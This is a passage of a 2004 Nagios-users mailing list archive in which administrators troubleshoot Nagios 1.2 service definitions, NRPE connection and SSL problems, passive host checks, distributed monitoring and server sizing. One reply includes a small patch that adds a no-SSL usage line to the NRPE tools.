Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From formatpro at yahoo.co.uk Mon Mar 15 11:02:33 2004 From: formatpro at yahoo.co.uk (=?iso-8859-1?q?ForMatPrO=20ForMatPrO?=) Date: Mon, 15 Mar 2004 10:02:33 +0000 (GMT) Subject: Init file not working In-Reply-To: <005301c40a70$b6cbc900$1d8e79a3@Kareem> References: <005301c40a70$b6cbc900$1d8e79a3@Kareem> Message-ID: <20040315100233.73468.qmail@web25009.mail.ukl.yahoo.com> Nope, I've checked the configs with -v, everything is OK. --- Kareem Mahgoub wrote: > I would assume thate there is something in yoru > configuration file/files > Use the verification signal with your nagios to > check the files. > Hope this would help, > Regards, > Kareem ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From andre.bergei at ementor.no Mon Mar 15 11:29:39 2004 From: andre.bergei at ementor.no (Andre Bergei) Date: Mon, 15 Mar 2004 11:29:39 +0100 Subject: Large scale network monitoring limits with nagios Message-ID: <3C8515D9676BF9479F7EF3545B63AA220B2107@100NOOSLMSG001.common.alpharoot.net> > >The chained hash method patch from Daniel Drown was applied > to nagios > >2.0 See post from Ethan: > >http://sourceforge.net/mailarchive/message.php?msg_id=6004643 > > > > > > > This is the patch I use in 1.1 to make things work nicely with 6200 > services. So this patch works with 1.x branch, that is good news. Can the 2.0 cvs patch be applied to 1.x code without any modifications? (I assume this is a 2.0 patch) I've tried to search the list archive for the original 1.x patch from Daniel, with no luck. /andr? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cfh at gatehouse.dk Mon Mar 15 11:30:18 2004 From: cfh at gatehouse.dk (Flemming Holck) Date: Mon, 15 Mar 2004 11:30:18 +0100 Subject: Is there a list of plugins somewhere? Message-ID: Is there a list of plugins somewhere? Or is the only way to see in the sourcecode? Kind regards Flemming This e-mail and any files sent with it contain information that may be privileged or confidential and is the property of the GateHouse Group. This information is intended solely for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use the message or any part thereof. If you have received this e-mail in error, please notify the sender immediately, and delete all copies of this message. In accordance with GateHouse Security Policy, e-mails sent or received may be monitored. -------------- next part -------------- An HTML attachment was scrubbed... URL: From fmartinezg at fecsa.es Mon Mar 15 12:51:42 2004 From: fmartinezg at fecsa.es (Martinez Gonzalez, Francisco) Date: Mon, 15 Mar 2004 12:51:42 +0100 Subject: Force host down Message-ID: I know that I can submit check results for a particular service but, I can submit check results for a particular host? I want to send to Nagios that one host is down. There is anyway to do this? Many thanks ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefan.kargl at designers.at Mon Mar 15 12:59:08 2004 From: stefan.kargl at designers.at (Stefan Kargl) Date: Mon, 15 Mar 2004 12:59:08 +0100 Subject: config check problem Message-ID: <40559A8C.7030501@designers.at> Hi List! When I run: nagios -v /etc/nagios/nagios.cfg I get the following error: Nagios 1.2 Copyright (c) 1999-2004 Ethan Galstad (nagios at nagios.org) Last Modified: 02-02-2004 License: GPL Reading configuration data... Running pre-flight check on configuration data... Checking services... Error: There are no services defined! Checked 0 services. my services.cfg: # Generic service definition template define service{ ; The 'name' of this service template, referenced in other service definitions name generic-service active_checks_enabled 0 ; Active service checks are disabled passive_checks_enabled 0 ; Passive service checks are enabled/disabled parallelize_check 1 ; Active service checks should be parallelized ; (disabling this can lead to major performance problems) obsess_over_service 1 ; We should obsess over this service (if necessary) check_freshness 0 ; Default is to NOT check service 'freshness' notifications_enabled 0 ; Service notifications are disabled event_handler_enabled 0 ; Service event handler is disabled flap_detection_enabled 0 ; Flap detection is disabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL SERVICE, JUST A TEMPLATE! } # Service definition define service{ use generic-service ; Name of service template to use host_name gateway service_description PING is_volatile 0 check_command check_ping!100.0,20%!500.0,60% check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups superuser notification_interval 240 notification_period 24x7 notification_options c,r } the path to the services.cfg is set correctly in nagios.cfg, group superuser exists with users, host gateway exists thanks Stefan ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From leo at abnamroinc.com Mon Mar 15 14:28:02 2004 From: leo at abnamroinc.com (Leo Falkenstein) Date: Mon, 15 Mar 2004 07:28:02 -0600 Subject: Check_nrpe Message-ID: Does anyone know why I get a denied message when I run the command check_nrpe? It only happens on one machine. The others work fine. Leo -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: TEXT.htm URL: From andrew.barker at nottingham.ac.uk Mon Mar 15 15:16:46 2004 From: andrew.barker at nottingham.ac.uk (Andrew Barker) Date: Mon, 15 Mar 2004 14:16:46 +0000 Subject: Check_NRPE: Error receiving data from daemon. Message-ID: <1079360205.16695.335.camel@pccajrb.is> Hi I am running into the following error in what appears to me to be fairly strange circumstances. I have written a plugin which calculates the amount of messages in an exim mailq (it's written in perl and based on the check_mailq plugin but is much simpler). It runs (via check_nrpe over ssl) on 4 of our 5 mail relays without any problem at all, however when I installed it on the fifth relay I got an error back when trying to pole it using check_nrpe which said "Error receiving data from daemon". This only happens on my home grown plugin, both the check_disk and check_load plugins run and return values to my central nagios box using check_nrpe (I also tried running check_ntp to prove this wasn't a problem related to the fact this plugin was written in perl). The plugin itself (check_eximq) runs fine when run as the username which nrpe runs as. I run nrpe in xinetd mode on all of these machines, when, however, I run it in standalone daemon mode, miraculously the check_eximq plugin starts working. So basically I'm at a loss as to what is causing this problem to occur, if anyone could shed any light at all on this problem it would be greatly appreciated. (or even could point me at some more tests I could do to figure out what's going on) I've checked the syslog and there are no error messages on either machine, even with the nrpe debugging option switch on (only a message to say that NRPE will be encrypting traffic). Thanks Andy ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From krcalhoo at mtu.edu Mon Mar 15 15:26:01 2004 From: krcalhoo at mtu.edu (kevin) Date: Mon, 15 Mar 2004 09:26:01 -0500 Subject: config check problem In-Reply-To: <40559A8C.7030501@designers.at> References: <40559A8C.7030501@designers.at> Message-ID: <4055BCF9.7020609@mtu.edu> Stefan Kargl wrote: > Hi List! > > When I run: nagios -v /etc/nagios/nagios.cfg I get the following error: > > Nagios 1.2 > Copyright (c) 1999-2004 Ethan Galstad (nagios at nagios.org) > Last Modified: 02-02-2004 > License: GPL > > Reading configuration data... > > Running pre-flight check on configuration data... > > Checking services... > Error: There are no services defined! > Checked 0 services. > > my services.cfg: > > > # Service definition > define service{ > use generic-service ; Name > of service template to use > > host_name gateway > service_description PING > is_volatile 0 > check_command check_ping!100.0,20%!500.0,60% > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups superuser > notification_interval 240 > notification_period 24x7 > notification_options c,r > } > > the path to the services.cfg is set correctly in nagios.cfg, group > superuser exists with users, host gateway exists > I would try adding a register line to the service definition. Below is an example of one of my service definitions. define service{ use generic-passive ; Name of service template to use hostgroup_name SMTP service_description port8126 contact_groups smtp-contacts, Administrators notification_options w,c,r check_command service-is-stale register 1 } Kevin Calhoon ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Mon Mar 15 16:10:59 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Mon, 15 Mar 2004 09:10:59 -0600 Subject: Check_nrpe In-Reply-To: References: Message-ID: <1079363459.7327.4337.camel@localhost> On Mon, 2004-03-15 at 07:28, Leo Falkenstein wrote: > Does anyone know why I get a denied message when I run the command > check_nrpe? It only happens on one machine. The others work fine. Perhaps that client doesn't have nrpe set up correctly? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefano.razzauti at yogitech.com Mon Mar 15 16:15:57 2004 From: stefano.razzauti at yogitech.com (stefano razzauti) Date: Mon, 15 Mar 2004 16:15:57 +0100 Subject: use of NRPE without SSL In-Reply-To: <4053BC40.2030300@bofus.org> References: <4053BC40.2030300@bofus.org> Message-ID: <4055C8AD.3000400@yogitech.com> thank you a lot. now the connection between nagios server and nrpe daemon on the client by nrpe work well. Only one note: the connection goes well only if I run the daemon as a standalone daemon on the Solaris host. While if I insert it in the inetd daemon when I try to connect the Solaris host from the nagios server I obtain: nagios_server> check_nrpe -n -H solaris_host -c check_load CHECK_NRPE: Received 0 bytes from daemon. Check the remote server logs for error messages. why this? thanks again stefano Jeffery P. Humes wrote: >I have provided a patch to the maintainer for this also. when you call "nrpe" or "check_nrpe" you can provide the option "-n" >to tell it not to use SSL for the connection. > >Here is the patch. This patch only adds the usage statement for the -n option to nrpe/check_nrpe. the option is available >even if you do not apply this patch. You can still use the -n option without recompiling. > > > >-Jeff > > > > ########################### > # Start patch > ########################### > diff -r -u nrpe-2.0.pristine/src/check_nrpe.c nrpe-2.0/src/check_nrpe.c > --- nrpe-2.0.pristine/src/check_nrpe.c 2003-09-08 21:52:37.000000000 > -0500 > +++ nrpe-2.0/src/check_nrpe.c 2004-03-11 18:29:36.000000000 -0600 > @@ -82,10 +82,11 @@ > > if(result!=OK || show_help==TRUE){ > > - printf("Usage: check_nrpe -H [-p ] [-t > ] [-c ] [-a ]\n"); > + printf("Usage: check_nrpe -H [-n] [-p ] > [-t ] [-c ] [-a ]\n"); > printf("\n"); > printf("Options:\n"); > printf(" = The address of the host running > the NRPE daemon\n"); > + printf(" -n = No SSL\n"); > printf(" [port] = The port on which the daemon is > running (default=%d)\n",DEFAULT_SERVER_PORT); > printf(" [timeout] = Number of seconds before > connection times out (default=%d)\n",DEFAULT_SOCKET_TIMEOUT); > printf(" [command] = The name of the command that the > remote daemon should run\n"); > diff -r -u nrpe-2.0.pristine/src/nrpe.c nrpe-2.0/src/nrpe.c > --- nrpe-2.0.pristine/src/nrpe.c 2003-09-08 21:52:37.000000000 > -0500 > +++ nrpe-2.0/src/nrpe.c 2004-03-11 18:38:37.000000000 -0600 > @@ -120,9 +120,10 @@ > > else if(result!=OK || show_help==TRUE){ > > - printf("Usage: nrpe -c \n"); > + printf("Usage: nrpe -n -c \n"); > printf("\n"); > printf("Options:\n"); > + printf(" -n = No SSL\n"); > printf(" = Name of config file to use\n"); > printf(" = One of the following two > operating modes:\n"); > printf(" -i = Run as a service under > inetd or xinetd\n"); > ########################### > # End patch > ########################### > > >----------------------------------- > > > >Hi, >I compiled nrpe on a Sun Solaris host without SSL package and all goes >well, but when I tried to >do a check_nrpe from the Nagios server (linux) through the Solaris one I >get the following error: > >CHECK_NRPE: Error - Could not complete SSL handshake. > >Is there possible to monitor remote host (with NRPE) without using SSL >on the remote host? > >thank in advance > >Stefano > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 15 16:24:17 2004 From: marc at ena.com (Marc Powell) Date: Mon, 15 Mar 2004 09:24:17 -0600 Subject: Force host down Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A33D@mismail2.ena.com> On Monday, March 15, 2004 5:52 AM, Martinez Gonzalez, Francisco shared with us: > I know that I can submit check results for a particular service but, > I can submit check results for a particular host? > > I want to send to Nagios that one host is down. > > There is anyway to do this? Not really with 1.x. Passive host checks are only supported in 2.0. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wcorcor at siue.edu Mon Mar 15 15:46:19 2004 From: wcorcor at siue.edu (Bill Corcoran) Date: Mon, 15 Mar 2004 08:46:19 -0600 Subject: config check problem In-Reply-To: <40559A8C.7030501@designers.at> References: <40559A8C.7030501@designers.at> Message-ID: <4055C1BB.1050804@siue.edu> you need to name the service that inherits generic-service. "service description" isn't enough. try adding the following to your custom service definition: name ping -bill Stefan Kargl wrote: > Hi List! > > When I run: nagios -v /etc/nagios/nagios.cfg I get the following error: > > Nagios 1.2 > Copyright (c) 1999-2004 Ethan Galstad (nagios at nagios.org) > Last Modified: 02-02-2004 > License: GPL > > Reading configuration data... > > Running pre-flight check on configuration data... > > Checking services... > Error: There are no services defined! > Checked 0 services. > > my services.cfg: > > # Generic service definition template > define service{ > ; The 'name' of this service template, referenced in other > service definitions > name generic-service > active_checks_enabled 0 ; Active service checks > are disabled > passive_checks_enabled 0 ; Passive service checks > are enabled/disabled > parallelize_check 1 ; Active service checks > should be parallelized > ; (disabling this can > lead to major performance problems) > obsess_over_service 1 ; We should obsess over > this service (if necessary) > check_freshness 0 ; Default is to NOT > check service 'freshness' > notifications_enabled 0 ; Service notifications > are disabled > event_handler_enabled 0 ; Service event handler > is disabled > flap_detection_enabled 0 ; Flap detection is disabled > process_perf_data 1 ; Process performance data > retain_status_information 1 ; Retain status > information across program restarts > retain_nonstatus_information 1 ; Retain non-status > information across program restarts > > register 0 ; DONT REGISTER THIS > DEFINITION - ITS NOT A REAL SERVICE, JUST A TEMPLATE! > } > > # Service definition > define service{ > use generic-service ; Name > of service template to use > > host_name gateway > service_description PING > is_volatile 0 > check_command check_ping!100.0,20%!500.0,60% > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups superuser > notification_interval 240 > notification_period 24x7 > notification_options c,r > } > > the path to the services.cfg is set correctly in nagios.cfg, group > superuser exists with users, host gateway exists > > thanks > Stefan > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefan.kargl at designers.at Mon Mar 15 17:16:26 2004 From: stefan.kargl at designers.at (Stefan Kargl) Date: Mon, 15 Mar 2004 17:16:26 +0100 Subject: config check problem In-Reply-To: <4055BCF9.7020609@mtu.edu> References: <40559A8C.7030501@designers.at> <4055BCF9.7020609@mtu.edu> Message-ID: <4055D6DA.4080104@designers.at> kevin wrote: > > >> >> # Service definition >> define service{ >> use generic-service ; Name >> of service template to use >> >> host_name gateway >> service_description PING >> is_volatile 0 >> check_command check_ping!100.0,20%!500.0,60% >> check_period 24x7 >> max_check_attempts 3 >> normal_check_interval 5 >> retry_check_interval 1 >> contact_groups superuser >> notification_interval 240 >> notification_period 24x7 >> notification_options c,r >> } >> >> the path to the services.cfg is set correctly in nagios.cfg, group >> superuser exists with users, host gateway exists >> > I would try adding a register line to the service definition. Below > is an example of one of my service definitions. > define service{ > use generic-passive ; Name of > service template to use > hostgroup_name SMTP > service_description port8126 > contact_groups smtp-contacts, Administrators > notification_options w,c,r > check_command service-is-stale > register 1 > } > Kevin Calhoon > that didn?t do the trick - here some additional information: nagios version 1.2 debian unstable Stefan Kargl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From res at lanl.gov Mon Mar 15 17:20:48 2004 From: res at lanl.gov (Robert Stewart) Date: Mon, 15 Mar 2004 09:20:48 -0700 Subject: Webish question In-Reply-To: <4051A805.6050005@exponential-e.com> References: <1079015860.7481.98.camel@bobspc.lanl.gov> <4051A805.6050005@exponential-e.com> Message-ID: <1079367648.1262.10.camel@bobspc.lanl.gov> Thanks for the reply... I have some servers that for various reasons, I dont want to run a web server on. They are all on the same side of the firewall. How would I configure nagios to pass all events to another system? On Fri, 2004-03-12 at 05:07, Jim Mozley wrote: > Robert Stewart wrote: > > > Good Morning; > > > > I am fairly new to Nagios and apologize if this issue has been addressed > > "ad nauseum" in the past. > > > > I need to run the nagios client on one system and have the web server > > running on another. Is there a way to get the nagios information to this > > "remote" web server? > > If the reason behind splitting them up is a firewall issue, could you > use a proxy on the second system? > > You might be able to have a second nagios server in a distributed > configuration but so that it is passed all events. In this was it would > replicate the problems reported by the first server. > > Jim Mozley -- Thanks Bob Stewart (res at lanl.gov) mail stop B255 phone = 505-667-9847 ta3, sm1498, room 240 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gora at wittmann.sk Mon Mar 15 17:31:59 2004 From: gora at wittmann.sk (=?windows-1250?Q?Dezider_G=F3ra?=) Date: Mon, 15 Mar 2004 17:31:59 +0100 Subject: ev2t -> snmptrapd -> Nagios howto Message-ID: <4055DA7F.50405@wittmann.sk> Hi all, I'm happily runing nagios 1.2 and now I'm trying to do some more stuff with it. I'd like to monitor couple Win2k3 servers and to know some status informations from Windows Event Viewer. I've found nice app called ev2T which monitors windows event log and sends snmp traps. The only problem is, that I have absolutely no idea how to put it together. I need sort of step-by-step solution, how to set the snmpd, snmptrapd 'cause I really know nothing about it. Can anoyone help me how to do this? thanx in advance Dezider. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Mon Mar 15 17:46:53 2004 From: marc at ena.com (Marc Powell) Date: Mon, 15 Mar 2004 10:46:53 -0600 Subject: Webish question Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A341@mismail2.ena.com> On Monday, March 15, 2004 10:21 AM, Robert Stewart shared with us: > Thanks for the reply... > > I have some servers that for various reasons, I dont want to run a > web server on. They are all on the same side of the firewall. > > How would I configure nagios to pass all events to another system? There are lots of ways depending on your implementation strategy. If you want to run nagios on the remote machines (and it sounds like you might), read the documentation on Distributed Monitoring. If you want to only execute specific plugins then NRPE or check_by_ssh will work. If the things you want to monitor are exposed through SNMP, then check_snmp will work. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From res at lanl.gov Mon Mar 15 18:22:38 2004 From: res at lanl.gov (Robert Stewart) Date: Mon, 15 Mar 2004 10:22:38 -0700 Subject: Webish question In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A341@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A341@mismail2.ena.com> Message-ID: <1079371358.1266.15.camel@bobspc.lanl.gov> Thanks! I am reading the instructions now and will try this on a test system soon. On Mon, 2004-03-15 at 09:46, Marc Powell wrote: > On Monday, March 15, 2004 10:21 AM, Robert Stewart shared with us: > > > Thanks for the reply... > > > > I have some servers that for various reasons, I dont want to run a > > web server on. They are all on the same side of the firewall. > > > > How would I configure nagios to pass all events to another system? > > There are lots of ways depending on your implementation strategy. If you > want to run nagios on the remote machines (and it sounds like you > might), read the documentation on Distributed Monitoring. If you want to > only execute specific plugins then NRPE or check_by_ssh will work. If > the things you want to monitor are exposed through SNMP, then check_snmp > will work. > > -- > Marc -- Thanks Bob Stewart (res at lanl.gov) mail stop B255 phone = 505-667-9847 ta3, sm1498, room 240 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Mon Mar 15 18:27:16 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Mon, 15 Mar 2004 12:27:16 -0500 (EST) Subject: Webish question In-Reply-To: <1079367648.1262.10.camel@bobspc.lanl.gov> References: <1079367648.1262.10.camel@bobspc.lanl.gov> Message-ID: On Mon, 15 Mar 2004, Robert Stewart wrote: > Thanks for the reply... > > I have some servers that for various reasons, I dont want to run a web > server on. They are all on the same side of the firewall. > How would I configure nagios to pass all events to another system? If I'm understanding the assumptions behind your question correctly... It sounds as if you expect to have to run web servers on all your nagios client machines. This isn't the case. You don't need to run a web server on a machine in order to monitor it. The only place Nagios comes close to requiring a web server is on the machine doing the monitoring.. the Nagios server itself.. and then, only if you want to use its web interface. Most people do use it, but I think you can get by without it. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefan.kargl at designers.at Mon Mar 15 18:42:17 2004 From: stefan.kargl at designers.at (Stefan Kargl) Date: Mon, 15 Mar 2004 18:42:17 +0100 Subject: config check problem In-Reply-To: <4055C1BB.1050804@siue.edu> References: <40559A8C.7030501@designers.at> <4055C1BB.1050804@siue.edu> Message-ID: <4055EAF9.9000306@designers.at> Hi, Bill Corcoran wrote: > you need to name the service that inherits generic-service. "service > description" isn't enough. try adding the following to your custom > service definition: > > name ping > > -bill > > That does not change anything. And the parameter "name" isn?t listed > in the possible ones for services. > Stefan ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From porus at sgi.com Mon Mar 15 18:33:59 2004 From: porus at sgi.com (Porus Lakdawala) Date: Mon, 15 Mar 2004 09:33:59 -0800 Subject: Server sizing Message-ID: Hi, I would like to get some idea about server hardware configuration to run Nagios. I am looking to monitor ~500 hosts and ~5000 services. Linux will be the base OS on the server. Can someone spec a server they are running with roughly this kind of load? I am looking for basic info: 1. CPU number and speed 2. Memory 3. I/O Any other tips, tricks or recommendations as regards configuring the hardware are most welcome. Thanks in advance for your help. ----- Porus Lakdawala Phone: (650) 9334576 Email: porus at sgi.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefan.kargl at designers.at Mon Mar 15 18:41:15 2004 From: stefan.kargl at designers.at (Stefan Kargl) Date: Mon, 15 Mar 2004 18:41:15 +0100 Subject: config check problem In-Reply-To: <4055C1BB.1050804@siue.edu> References: <40559A8C.7030501@designers.at> <4055C1BB.1050804@siue.edu> Message-ID: <4055EABB.4070704@designers.at> Hi, Bill Corcoran wrote: > you need to name the service that inherits generic-service. "service > description" isn't enough. try adding the following to your custom > service definition: > > name ping > > -bill > > That does not change anything. And the parameter "name" isn?t listed > in the possible ones for services. > Stefan ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From res at lanl.gov Mon Mar 15 18:44:21 2004 From: res at lanl.gov (Robert 